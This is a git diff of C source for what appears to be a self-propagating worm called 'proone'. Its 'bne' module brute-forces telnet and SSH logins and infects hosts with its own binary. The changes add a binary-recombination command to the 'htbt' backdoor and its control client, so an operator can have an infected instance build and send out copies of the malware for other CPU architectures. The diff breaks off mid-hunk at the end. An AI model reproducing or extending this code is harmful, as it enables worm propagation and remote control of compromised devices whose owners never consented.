diff options
Diffstat (limited to 'src')
-rw-r--r-- | src/bne.c | 21 | ||||
-rw-r--r-- | src/bne.h | 10 | ||||
-rw-r--r-- | src/dvault.c | 4 | ||||
-rw-r--r-- | src/htbt.c | 220 | ||||
-rw-r--r-- | src/htbt.h | 2 | ||||
-rw-r--r-- | src/pack.c | 11 | ||||
-rw-r--r-- | src/pack.h | 14 | ||||
-rw-r--r-- | src/proone-bne.c | 11 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 339 | ||||
-rw-r--r-- | src/proone-test_proto.c | 2 | ||||
-rw-r--r-- | src/proone.c | 52 | ||||
-rw-r--r-- | src/proone.h | 8 | ||||
-rw-r--r-- | src/protocol.c | 48 | ||||
-rw-r--r-- | src/protocol.h | 26 | ||||
-rw-r--r-- | src/resolv.c | 3 |
15 files changed, 687 insertions, 84 deletions
@@ -1298,13 +1298,13 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { ctx->result.prc = prne_start_bin_rcb_compat( &sh_ctx->rcb, ctx->result.arch, - ctx->param.rcb.self, - ctx->param.rcb.m_self, - ctx->param.rcb.self_len, - ctx->param.rcb.exec_len, - ctx->param.rcb.m_dv, - ctx->param.rcb.dv_len, - ctx->param.rcb.ba, + ctx->param.rcb->self, + ctx->param.rcb->m_self, + ctx->param.rcb->self_len, + ctx->param.rcb->exec_len, + ctx->param.rcb->m_dv, + ctx->param.rcb->dv_len, + ctx->param.rcb->ba, &actual); if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { @@ -3217,7 +3217,6 @@ static void *bne_entry_f (void *p) { void prne_init_bne_param (prne_bne_param_t *p) { prne_memzero(p, sizeof(prne_bne_param_t)); - p->rcb.self = PRNE_ARCH_NONE; } void prne_free_bne_param (prne_bne_param_t *p) {} @@ -3228,6 +3227,7 @@ const char *prne_bne_vector_tostr (const prne_bne_vector_t v) { case PRNE_BNE_V_BRUTE_TELNET: return "telnet"; case PRNE_BNE_V_BRUTE_SSH: return "ssh"; } + errno = EINVAL; return NULL; } @@ -3241,7 +3241,10 @@ prne_bne_t *prne_alloc_bne ( if (ctr_drbg == NULL || param->cb.exec_name == NULL || - param->rcb.ba == NULL || + param->rcb == NULL || + /* The instance will only be able to infect hosts with same arch without + bin archive. */ + // param->rcb->ba == NULL || param->cred_dict->cnt == 0) { errno = EINVAL; @@ -40,15 +40,7 @@ struct prne_bne_param { void (*exit_dd)(void *ctx); } cb; void *cb_ctx; - struct { - const uint8_t *m_self; - size_t self_len; - size_t exec_len; - const uint8_t *m_dv; - size_t dv_len; - const prne_bin_archive_t *ba; - prne_arch_t self; - } rcb; + const prne_rcb_param_t *rcb; prne_ip_addr_t subject; unsigned int login_attempt; }; diff --git a/src/dvault.c b/src/dvault.c index 602ec70..3a286f5 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -43,6 +43,7 @@ const char *prne_data_type_tostr (const prne_data_type_t t) { case PRNE_DATA_TYPE_CSTR: return "cstr"; case PRNE_DATA_TYPE_BIN: return "bin"; } + errno = EINVAL; return NULL; } @@ -53,7 +54,7 @@ prne_data_type_t prne_data_type_fstr (const char *str) { if (prne_nstreq(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN))) { return PRNE_DATA_TYPE_BIN; } - + errno = EINVAL; return PRNE_DATA_TYPE_NONE; } @@ -128,6 +129,7 @@ const char *prne_dvault_mask_result_tostr ( case PRNE_DVAULT_MASK_TOO_LARGE: return "data too large"; case PRNE_DVAULT_MASK_INVALID_TYPE: return "invalid type"; } + errno = EINVAL; return NULL; } @@ -75,6 +75,7 @@ typedef struct { void (*lm_release_f)(void *ioctx, const htbt_lmk_t v); const prne_htbt_cbset_t *cbset; void *cb_ctx; + const prne_rcb_param_t *rcb; size_t skip; prne_iobuf_t iobuf[2]; prne_pth_cv_t cv; @@ -1162,7 +1163,6 @@ static bool htbt_slv_srv_bin ( prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK; int32_t ret_errno = 0; htbt_lmk_t lmk = HTBT_LMK_NONE; - mode_t tmpfm; prne_dbgast( mh->op == PRNE_HTBT_OP_RUN_BIN || @@ -1208,12 +1208,7 @@ static bool htbt_slv_srv_bin ( } errno = 0; - switch (mh->op) { - case PRNE_HTBT_OP_RUN_BIN: - case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break; - default: tmpfm = 0600; - } - path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm); + path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, 0700); if (path == NULL) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -1410,6 +1405,212 @@ END: return ret; } +static void htbt_slv_set_pack_err ( + prne_pack_rc_t prc, + const int ierr, + prne_htbt_status_code_t *ost, + int32_t *oerr) +{ + switch (prc) { + case PRNE_PACK_RC_OK: + case PRNE_PACK_RC_EOF: + case PRNE_PACK_RC_INVAL: + case PRNE_PACK_RC_FMT_ERR: + case PRNE_PACK_RC_NO_ARCH: + *ost = PRNE_HTBT_STATUS_SUB; + *oerr = prc; + break; + case PRNE_PACK_RC_ERRNO: + *ost = PRNE_HTBT_STATUS_ERRNO; + *oerr = ierr; + break; + case PRNE_PACK_RC_Z_ERR: + *ost = PRNE_HTBT_STATUS_SUB; + *oerr = (int32_t)ierr << 8 | (int32_t)prc; + break; + default: + *ost = PRNE_HTBT_STATUS_UNIMPL; + *oerr = 0; + } +} + +static bool htbt_slv_srv_rcb ( + htbt_slv_ctx_t *ctx, + pth_event_t root_ev, + size_t off, + const prne_htbt_msg_head_t *org_mh) +{ + bool ret = true; + prne_htbt_rcb_t rcb_f; + prne_htbt_ser_rc_t s_ret; + size_t actual; + prne_htbt_status_code_t status = PRNE_HTBT_STATUS_OK; + int32_t err = 0; + prne_pack_rc_t prc; + prne_bin_rcb_ctx_t rcb_ctx; + prne_iobuf_t rcb_ib; + pth_event_t ev = NULL; + prne_arch_t started_arch; + ssize_t io_ret; + int rcb_err = 0; + prne_htbt_stdio_t data_f; + prne_htbt_msg_head_t mh; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_rcb(&rcb_f); + prne_htbt_init_stdio(&data_f); + prne_init_bin_rcb_ctx(&rcb_ctx); + prne_init_iobuf(&rcb_ib); +// TRY + s_ret = prne_htbt_dser_rcb( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &rcb_f); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { + ret = false; + goto END; + } + else { + off += actual; + prne_iobuf_shift(ctx->iobuf + 0, -off); + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_slv_raise_protoerr(ctx, org_mh->id, 0); + goto END; + } + + if (ctx->rcb == NULL) { + status = PRNE_HTBT_STATUS_ERRNO; + err = ENOMEDIUM; + goto STATUS_END; + } + if (!(prne_alloc_iobuf(&rcb_ib, PRNE_HTBT_STDIO_LEN_MAX) || + prne_alloc_iobuf(&rcb_ib, 512))) + { + status = PRNE_HTBT_STATUS_ERRNO; + err = errno; + goto STATUS_END; + } + + if (rcb_f.arch == PRNE_ARCH_NONE) { + rcb_f.arch = ctx->rcb->self; + } + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X\n", + (uintptr_t)ctx, + ctx->rcb->self, + rcb_f.arch); + } + prc = prne_start_bin_rcb_compat( + &rcb_ctx, + rcb_f.arch, + ctx->rcb->self, + ctx->rcb->m_self, + ctx->rcb->self_len, + ctx->rcb->exec_len, + ctx->rcb->m_dv, + ctx->rcb->dv_len, + ctx->rcb->ba, + &started_arch); + if (prc != PRNE_PACK_RC_OK) { + htbt_slv_set_pack_err(prc, errno, &status, &err); + goto STATUS_END; + } + if (!rcb_f.compat && + rcb_f.arch != PRNE_ARCH_NONE && + rcb_f.arch != started_arch) + { + htbt_slv_set_pack_err(PRNE_PACK_RC_NO_ARCH, 0, &status, &err); + goto STATUS_END; + } + + mh.id = org_mh->id; + mh.is_rsp = true; + mh.op = PRNE_HTBT_OP_STDIO; + while (rcb_ib.len > 0 || prc != PRNE_PACK_RC_EOF) { + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT)); + prne_assert(ev != NULL); + + if (rcb_ib.avail > 0 && prc != PRNE_PACK_RC_EOF) { + io_ret = prne_bin_rcb_read( + &rcb_ctx, + rcb_ib.m + rcb_ib.len, + rcb_ib.avail, + &prc, + &rcb_err); + if (io_ret < 0) { + htbt_slv_set_pack_err(prc, rcb_err, &status, &err); + goto STATUS_END; + } + prne_iobuf_shift(&rcb_ib, io_ret); + } + if (rcb_ib.len > 0) { + data_f.len = rcb_ib.len; + htbt_slv_fab_frame( + ctx, + &mh, + &data_f, + (prne_htbt_ser_ft)prne_htbt_ser_stdio, + ev); + do { + io_ret = prne_op_min(ctx->iobuf[1].avail, rcb_ib.len); + memcpy(ctx->iobuf[1].m + ctx->iobuf[1].len, rcb_ib.m, io_ret); + prne_iobuf_shift(ctx->iobuf + 1, io_ret); + prne_iobuf_shift(&rcb_ib, -io_ret); + + htbt_slv_consume_outbuf(ctx, 0, ev); + if (!ctx->valid) { + goto END; + } + } while (rcb_ib.len > 0); + } + + pth_yield(NULL); + } + + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT)); + prne_assert(ev != NULL); + + data_f.fin = true; + data_f.len = 0; + htbt_slv_fab_frame( + ctx, + &mh, + &data_f, + (prne_htbt_ser_ft)prne_htbt_ser_stdio, + ev); + +STATUS_END: + if (status != PRNE_HTBT_STATUS_OK) { + htbt_slv_fab_status( + ctx, + status, + err, + org_mh->id, + root_ev); + if (status == PRNE_HTBT_STATUS_OK) { + htbt_slv_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + ctx->valid = false; + } + } +END: + prne_htbt_free_msg_head(&mh); + prne_free_iobuf(&rcb_ib); + prne_htbt_free_rcb(&rcb_f); + prne_htbt_free_stdio(&data_f); + prne_free_bin_rcb_ctx(&rcb_ctx); + pth_event_free(ev, FALSE); + return ret; +} + static void htbt_slv_skip_inbuf (htbt_slv_ctx_t *ctx) { size_t consume; @@ -1489,6 +1690,9 @@ static bool htbt_slv_consume_inbuf ( case PRNE_HTBT_OP_HOVER: ret |= htbt_slv_srv_hover(ctx, root_ev, actual, &f_head); break; + case PRNE_HTBT_OP_RCB: + ret |= htbt_slv_srv_rcb(ctx, root_ev, actual, &f_head); + break; default: htbt_slv_raise_protoerr(ctx, f_head.id, PRNE_HTBT_STATUS_UNIMPL); goto END; @@ -1924,6 +2128,7 @@ static void htbt_main_srv_hover ( c.slv.lm_acquire_f = htbt_main_slv_lm_acq_f; c.slv.lm_release_f = htbt_main_slv_lm_rel_f; c.slv.cbset = &ctx->param.cb_f; + c.slv.rcb = ctx->param.rcb; c.slv.cb_ctx = ctx->param.cb_ctx; c.slv.cv.lock = &ctx->lock; c.slv.cv.cond = &ctx->cond; @@ -2621,6 +2826,7 @@ static bool htbt_alloc_lbd_client ( c->slv.lm_acquire_f = htbt_lbd_slv_lm_acq_f; c->slv.lm_release_f = htbt_lbd_slv_lm_rel_f; c->slv.cbset = &parent->param.cb_f; + c->slv.rcb = parent->param.rcb; c->slv.cb_ctx = parent->param.cb_ctx; c->slv.cv.lock = &parent->lock; c->slv.cv.cond = &parent->cond; @@ -2,6 +2,7 @@ #include "pth.h" #include "resolv.h" #include "protocol.h" +#include "pack.h" #include <mbedtls/ssl.h> @@ -35,6 +36,7 @@ struct prne_htbt_param { prne_resolv_t *resolv; prne_htbt_cbset_t cb_f; void *cb_ctx; + const prne_rcb_param_t *rcb; int blackhole; }; @@ -447,6 +447,10 @@ prne_pack_rc_t prne_start_bin_rcb ( prne_bin_tuple_t *t = NULL; size_t seek = 0; + if (ba == NULL) { + return PRNE_PACK_RC_INVAL; + } + for (size_t i = 0; i < ba->nb_bin; i += 1) { if (ba->bin[i].arch == target) { t = &ba->bin[i]; @@ -590,6 +594,12 @@ bool prne_index_nybin ( return true; } +void prne_init_rcb_param (prne_rcb_param_t *rp) { + prne_memzero(rp, sizeof(prne_rcb_param_t)); +} + +void prne_free_rcb_param (prne_rcb_param_t *rp) {} + const prne_arch_t *prne_compat_arch (const prne_arch_t target) { static const prne_arch_t F_X86[] = { PRNE_ARCH_X86_64, @@ -623,5 +633,6 @@ const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) { case PRNE_PACK_RC_Z_ERR: return "zlib error"; case PRNE_PACK_RC_NO_ARCH: return "no arch"; } + errno = EINVAL; return NULL; } @@ -10,6 +10,7 @@ typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; +typedef struct prne_rcb_param prne_rcb_param_t; typedef enum { PRNE_PACK_RC_OK, @@ -47,6 +48,16 @@ struct prne_bin_rcb_ctx { int *err); }; +struct prne_rcb_param { + const uint8_t *m_self; + size_t self_len; + size_t exec_len; + const uint8_t *m_dv; + size_t dv_len; + const prne_bin_archive_t *ba; + prne_arch_t self; +}; + void prne_init_bin_archive (prne_bin_archive_t *a); void prne_free_bin_archive (prne_bin_archive_t *a); prne_pack_rc_t prne_index_bin_archive ( @@ -92,6 +103,9 @@ bool prne_index_nybin ( const uint8_t **m_ba, size_t *ba_len); +void prne_init_rcb_param (prne_rcb_param_t *rp); +void prne_free_rcb_param (prne_rcb_param_t *rp); + const prne_arch_t *prne_compat_arch (const prne_arch_t arch); const char *prne_pack_rc_tostr (const prne_pack_rc_t prc); diff --git a/src/proone-bne.c b/src/proone-bne.c index 20fb24b..0a3f75d 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -175,6 +175,7 @@ int main (const int argc, const char **args) { prne_cred_dict_t dict; prne_bin_archive_t ba; prne_bne_param_t param; + prne_rcb_param_t rcb; prne_pack_rc_t prc; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; @@ -191,6 +192,7 @@ int main (const int argc, const char **args) { prne_init_cred_dict(&dict); prne_init_bne_param(¶m); + prne_init_rcb_param(&rcb); prne_init_bin_archive(&ba); mbedtls_x509_crt_init(&htbt_ssl.ca); @@ -295,13 +297,15 @@ int main (const int argc, const char **args) { goto END; } + rcb.m_dv = m_dv; + rcb.dv_len = dv_len; + rcb.ba = &ba; + param.htbt_ssl_conf = &htbt_ssl.conf; param.cred_dict = &dict; param.vector.arr = ARR_VEC; param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); - param.rcb.m_dv = m_dv; - param.rcb.dv_len = dv_len; - param.rcb.ba = &ba; + param.rcb = &rcb; param.cb.exec_name = cb_exec_name; for (size_t i = 0; i < cnt; i += 1) { @@ -381,6 +385,7 @@ END: // CATCH mbedtls_ssl_config_free(&htbt_ssl.conf); prne_free_cred_dict(&dict); prne_free_bne_param(¶m); + prne_free_rcb_param(&rcb); prne_free_bin_archive(&ba); prne_close(fd); prne_free(arr); diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index c7328f1..783a797 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -116,6 +116,20 @@ "Note that an instance will continue to run with original binary if it fails to\n"\ "exec() to the new binary.\n"\ "\n" +#define RCB_HELP_STR \ +"Order instance to do binary recombination and download the binary.\n"\ +"Usage: %s [common options] rcb [options] [OUTFILE]\n"\ +"\n"\ +"Options:\n"\ +" --arch <ARCH> target CPU ARCH\n"\ +" --no-compat do not allow recombination of compatible arch\n"\ +" -f overwrite OUTFILE\n"\ +"\n"\ +"The program will write to stdout if OUTFILE is \"-\"(default).\n"\ +"If --arch option is not used, binary recombination will not take place and the\n"\ +"running executable will be copied(i.e., \"self copy\").\n"\ +"Run proone-list-arch for possible values for --arch option.\n"\ +"\n" enum sub_command { SC_NONE, @@ -163,6 +177,11 @@ struct { bool detached; bool compat; } run; + struct { + char *out_path; + bool f; + prne_htbt_rcb_t rcb; + } rcb; } cmd_param; void (*free_cmdparam_f)(void); } prog_conf; @@ -183,6 +202,8 @@ struct { } net; struct { yaml_emitter_t *emitter; + int fd; + bool our_fd; } yaml; union { struct { @@ -193,6 +214,11 @@ struct { prne_iobuf_t ib; prne_htbt_status_t st; } run; + struct { + int fd; + bool our_file; + prne_iobuf_t ib; + } rcb; } cmd_st; void (*free_cmdst_f)(void); } prog_g; @@ -214,7 +240,9 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) { case SC_UPBIN: fprintf(out_f, UPBIN_HELP_STR, prog); break; - // TODO + case SC_RCB: + fprintf(out_f, RCB_HELP_STR, prog); + break; default: fprintf(out_f, MAIN_HELP_STR, prog, prog); } } @@ -239,10 +267,13 @@ static void init_prog_g (void) { perror("prne_alloc_iobuf()"); abort(); } + + prog_g.yaml.fd = -1; } static void free_run_g (void) { prne_close(prog_g.cmd_st.run.fd); + prog_g.cmd_st.run.fd = -1; prne_free_iobuf(&prog_g.cmd_st.run.ib); prne_htbt_free_status(&prog_g.cmd_st.run.st); } @@ -259,6 +290,24 @@ static void init_run_g (void) { prog_g.free_cmdst_f = free_run_g; } +static void free_rcb_g (void) { + prne_close(prog_g.cmd_st.rcb.fd); + prog_g.cmd_st.rcb.fd = -1; + prne_free_iobuf(&prog_g.cmd_st.rcb.ib); +} + +static void init_rcb_g (void) { + assert(prog_g.free_cmdst_f == NULL); + + prog_g.cmd_st.rcb.fd = -1; + prne_init_iobuf(&prog_g.cmd_st.rcb.ib); + if (!prne_alloc_iobuf(&prog_g.cmd_st.rcb.ib, PRNE_HTBT_STDIO_LEN_MAX)) { + perror("prne_alloc_iobuf()"); + abort(); + } + prog_g.free_cmdst_f = free_rcb_g; +} + static void deinit_prog_g (void) { // TODO if (prog_g.free_cmdst_f != NULL) { @@ -289,14 +338,32 @@ static void init_hover_conf (void) { static void free_run_conf (void) { prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm); prne_free(prog_conf.cmd_param.run.bin_path); + prog_conf.cmd_param.run.bin_path = NULL; } static void init_run_conf (void) { + assert(prog_conf.free_cmdparam_f == NULL); prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm); prog_conf.cmd_param.run.compat = true; + prog_conf.free_cmdparam_f = free_run_conf; } +static void free_rcb_conf (void) { + prne_free(prog_conf.cmd_param.rcb.out_path); + prog_conf.cmd_param.rcb.out_path = NULL; + prne_htbt_free_rcb(&prog_conf.cmd_param.rcb.rcb); +} + +static void init_rcb_conf (void) { + assert(prog_conf.free_cmdparam_f == NULL); + prne_htbt_init_rcb(&prog_conf.cmd_param.rcb.rcb); + prog_conf.cmd_param.rcb.out_path = prne_dup_str("-"); + prog_conf.cmd_param.rcb.rcb.compat = true; + + prog_conf.free_cmdparam_f = free_rcb_conf; +} + static void deinit_prog_conf (void) { if (prog_conf.free_cmdparam_f != NULL) { prog_conf.free_cmdparam_f(); @@ -586,10 +653,56 @@ static int parse_args_upbin (const int argc, char *const *args) { } static int parse_args_rcb (const int argc, char *const *args) { + static const struct option lopts[] = { + { "arch", required_argument, 0, 0 }, + { "no-compat", no_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + int li, f_ret; + const struct option *co; + if (!assert_host_arg()) { return 2; } - // TODO + init_rcb_conf(); + init_rcb_g(); + + while (true) { + f_ret = getopt_long(argc, args, "f", lopts, &li); + if (f_ret == 'f') { + prog_conf.cmd_param.rcb.f = true; + continue; + } + else if (f_ret != 0) { + break; + } + + co = (const struct option*)lopts + li; + if (strcmp("arch", co->name) == 0) { + prog_conf.cmd_param.rcb.rcb.arch = prne_arch_fstr(optarg); + if (prog_conf.cmd_param.rcb.rcb.arch == PRNE_ARCH_NONE) { + perror(optarg); + return 2; + } + } + else if (strcmp("no-compat", co->name) == 0) { + prog_conf.cmd_param.rcb.rcb.compat = false; + } + else { + abort(); + } + } + + if (argc > optind) { + prne_free(prog_conf.cmd_param.rcb.out_path); + prog_conf.cmd_param.rcb.out_path = prne_dup_str(args[optind]); + if (prog_conf.cmd_param.rcb.out_path == NULL) { + perror("prne_dup_str()"); + abort(); + } + optind += 1; + } + return 0; } @@ -914,7 +1027,7 @@ static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) { ssize_t io_ret; while (size > 0) { - io_ret = write(STDOUT_FILENO, buffer, size); + io_ret = write(prog_g.yaml.fd, buffer, size); if (io_ret <= 0) { if (io_ret < 0) { perror("write()"); @@ -1004,6 +1117,10 @@ static void emit_scalar (const char *type, const char *val) { } } +static void emit_bool_scalar (const bool val) { + emit_scalar(YAML_BOOL_TAG, val ? "true" : "false"); +} + static void emit_scalar_fmt (const char *type, const char *fmt, ...) { char *str; int f_ret; @@ -1026,14 +1143,13 @@ static void emit_scalar_fmt (const char *type, const char *fmt, ...) { prne_free(str); } -static void start_yaml (void) { +static void start_yaml (const int fd, const bool ours) { yaml_event_t e; - if (prog_g.yaml.emitter != NULL) { - fprintf(stderr, "start_yaml() called twice!\n"); - abort(); - } + assert(prog_g.yaml.emitter == NULL); + prog_g.yaml.fd = fd; + prog_g.yaml.our_fd = ours; prog_g.yaml.emitter = prne_malloc(sizeof(yaml_emitter_t), 1); if (yaml_emitter_initialize(prog_g.yaml.emitter) == 0) { yaml_perror("yaml_emitter_initialize()"); @@ -1079,6 +1195,13 @@ static void end_yaml (void) { yaml_perror("yaml_stream_end_event_initialize()"); abort(); } + + yaml_emitter_delete(prog_g.yaml.emitter); + prog_g.yaml.emitter = NULL; + if (prog_g.yaml.our_fd) { + prne_close(prog_g.yaml.fd); + prog_g.yaml.fd = -1; + } } static bool do_connect (void) { @@ -1163,6 +1286,17 @@ static void raise_proto_err (const char *fmt, ...) { fprintf(stderr, "\n"); } +static void raise_invalid_op (const prne_htbt_op_t op) { + raise_proto_err("invalid response op %"PRIx8"", op); +} + +static void raise_invalid_status (const prne_htbt_status_t *st) { + raise_proto_err( + "Invalid status response: code=%"PRIx8", err=%"PRId32, + st->code, + st->err); +} + static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) { int f_ret; size_t actual; @@ -1300,6 +1434,10 @@ static void emit_status_frame (const prne_htbt_status_t *st) { emit_scalar_fmt(YAML_INT_TAG, "%d", st->code); emit_scalar(YAML_STR_TAG, "err"); emit_scalar_fmt(YAML_INT_TAG, "%"PRId32, st->err); + if (st->code == PRNE_HTBT_STATUS_ERRNO) { + emit_scalar(YAML_STR_TAG, "err_str"); + emit_scalar(YAML_STR_TAG, strerror(st->err)); + } emit_mapping_end(); } @@ -1545,7 +1683,7 @@ static bool do_hostinfo ( *status = true; break; default: - raise_proto_err("invalid response op %"PRIx8"\n", mh.op); + raise_invalid_op(mh.op); goto END; } ret = true; @@ -1573,13 +1711,12 @@ static int cmdmain_hostinfo (void) { goto END; } + start_yaml(STDOUT_FILENO, false); if (status) { - start_yaml(); emit_preemble("hostinfo", "status", NULL); emit_status_frame(&st); } else { - start_yaml(); emit_preemble("hostinfo", "ok", NULL); emit_hostinfo_frame(&hi); } @@ -1860,7 +1997,7 @@ static bool run_recvstd (const uint16_t msgid, int *fd) { break; default: ret = false; - raise_proto_err("invalid response op %"PRIx8"\n", mh.op); + raise_invalid_op(mh.op); goto END; } @@ -1968,10 +2105,7 @@ static int cmdmain_run (void) { perror("Error status"); return 1; default: - raise_proto_err( - "Invalid response: code=%"PRIx8", err=%"PRId32, - prog_g.cmd_st.run.st.code, - prog_g.cmd_st.run.st.err); + raise_invalid_status(&prog_g.cmd_st.run.st); return 1; } } while (false); @@ -1986,6 +2120,8 @@ static void emit_upbin_opts (void) { emit_scalar(YAML_STR_TAG, "bin_type"); if (prog_conf.cmd_param.run.bin_type == BT_NYBIN) { emit_scalar(YAML_STR_TAG, "nybin"); + emit_scalar(YAML_STR_TAG, "compat"); + emit_bool_scalar(prog_conf.cmd_param.run.compat); emit_scalar(YAML_STR_TAG, "arch_host"); emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host)); emit_scalar(YAML_STR_TAG, "arch_rcb"); @@ -2229,7 +2365,7 @@ static int cmdmain_upbin (void) { return 1; } - start_yaml(); + start_yaml(STDOUT_FILENO, false); emit_preemble("upbin", "ok", emit_upbin_opts); emit_status_frame(&prog_g.cmd_st.run.st); @@ -2267,7 +2403,7 @@ static int cmdmain_hover (void) { goto END; } if (mh.op != PRNE_HTBT_OP_STATUS) { - raise_proto_err("invalid response op %"PRIx8"\n", mh.op); + raise_invalid_op(mh.op); ret = 1; goto END; } @@ -2276,7 +2412,7 @@ static int cmdmain_hover (void) { ret = 1; goto END; } - start_yaml(); + start_yaml(STDOUT_FILENO, false); emit_preemble("hover", "ok", emit_hover_opts); emit_status_frame(&st); @@ -2286,6 +2422,169 @@ END: return ret; } +static void emit_rcb_opts (void) { + emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME); + emit_mapping_start(); + if (prog_conf.cmd_param.rcb.rcb.arch != PRNE_ARCH_NONE) { + emit_scalar(YAML_STR_TAG, "arch"); + emit_scalar( + YAML_STR_TAG, + prne_arch_tostr(prog_conf.cmd_param.rcb.rcb.arch)); + } + emit_scalar(YAML_STR_TAG, "compat"); + emit_bool_scalar(prog_conf.cmd_param.rcb.rcb.compat); + emit_mapping_end(); +} + +static bool rcb_open_outfile (void) { + assert(prog_g.cmd_st.rcb.fd < 0); + assert(prog_conf.cmd_param.rcb.out_path != NULL); + if (strcmp(prog_conf.cmd_param.rcb.out_path, "-") == 0) { + prog_g.cmd_st.rcb.fd = STDOUT_FILENO; + prog_g.cmd_st.rcb.our_file = false; + } + else { + if (!prog_conf.cmd_param.rcb.f) { + if (access(prog_conf.cmd_param.rcb.out_path, F_OK) == 0) { + errno = EEXIST; + perror(prog_conf.cmd_param.rcb.out_path); + return false; + } + } + + prog_g.cmd_st.rcb.fd = open( + prog_conf.cmd_param.rcb.out_path, + O_CREAT | O_TRUNC | O_WRONLY, + 0755); + if (prog_g.cmd_st.rcb.fd < 0) { + perror(prog_conf.cmd_param.rcb.out_path); + return false; + } + prog_g.cmd_st.rcb.our_file = true; + } + + return true; +} + +static int cmdmain_rcb (void) { + int ret = 0; + prne_htbt_msg_head_t mh; + prne_htbt_status_t st; + prne_htbt_stdio_t df; + uint16_t msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); + ssize_t io_ret; + size_t sum = 0; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&st); + prne_htbt_init_stdio(&df); + + if (!rcb_open_outfile()) { + ret = 1; + goto END; + } + if (isatty(prog_g.cmd_st.rcb.fd)) { + ret = 1; + fprintf(stderr, "Cannot write binary data to terminal.\n"); + goto END; + } + if (!do_connect()) { + ret = 1; + goto END; + } + mh.id = msgid; + mh.op = PRNE_HTBT_OP_RCB; + if (!(send_mh(&mh) && + send_frame( + &prog_conf.cmd_param.rcb.rcb, + (prne_htbt_ser_ft)prne_htbt_ser_rcb))) + { + ret = 1; + goto END; + } + + do { + if (!recv_mh(&mh, &msgid)) { + ret = 1; + goto END; + } + switch (mh.op) { + case PRNE_HTBT_OP_STDIO: break; + case PRNE_HTBT_OP_STATUS: + if (!recv_status(&st)) { + ret = 1; + goto END; + } + start_yaml(STDERR_FILENO, false); + emit_preemble("rcb", "status", emit_rcb_opts); + emit_status_frame(&st); + goto END; + default: + ret = 1; + raise_invalid_op(mh.op); + goto END; + } + + if (!recv_frame(&df, (prne_htbt_dser_ft)prne_htbt_dser_stdio)) { + ret = 1; + goto END; + } + while (df.len > 0) { + io_ret = mbedtls_ssl_read( + &prog_g.ssl.ctx, + prog_g.cmd_st.rcb.ib.m, + df.len); + if (io_ret == 0) { + ret = 1; + raise_proto_err("remote end shutdown write"); + goto END; + } + if (io_ret < 0) { + ret = 1; + prne_mbedtls_perror(io_ret, "mbedtls_ssl_read()"); + goto END; + } + prne_iobuf_shift(&prog_g.cmd_st.rcb.ib, io_ret); + df.len -= io_ret; + sum += io_ret; + + while (prog_g.cmd_st.rcb.ib.len > 0) { + io_ret = write( + prog_g.cmd_st.rcb.fd, + prog_g.cmd_st.rcb.ib.m, + prog_g.cmd_st.rcb.ib.len); + if (io_ret < 0) { + ret = 1; + perror("write()"); + goto END; + } + if (io_ret == 0) { + ret = 1; + fprintf(stderr, "write() EOF\n"); + goto END; + } + prne_iobuf_shift(&prog_g.cmd_st.rcb.ib, -io_ret); + } + } + } while (!df.fin); + start_yaml(STDERR_FILENO, false); + emit_preemble("rcb", "ok", emit_rcb_opts); + emit_scalar(YAML_STR_TAG, BODY_TAG_NAME); + emit_mapping_start(); + emit_scalar(YAML_STR_TAG, "size"); + emit_scalar_fmt(YAML_INT_TAG, "%zu", sum); + emit_mapping_end(); + +END: + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&st); + prne_htbt_free_stdio(&df); + if (ret != 0 && prog_g.cmd_st.rcb.our_file) { + unlink(prog_conf.cmd_param.rcb.out_path); + } + return ret; +} + int main (const int argc, char *const *args) { int ec = 0; @@ -2320,7 +2619,7 @@ int main (const int argc, char *const *args) { case SC_RUNCMD: case SC_RUNBIN: ec = cmdmain_run(); break; case SC_UPBIN: ec = cmdmain_upbin(); break; - // TODO + case SC_RCB: ec = cmdmain_rcb(); break; default: ec = 1; fprintf(stderr, "COMMAND not implemented.\n"); diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index c3f9934..4c7caaa 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -545,7 +545,7 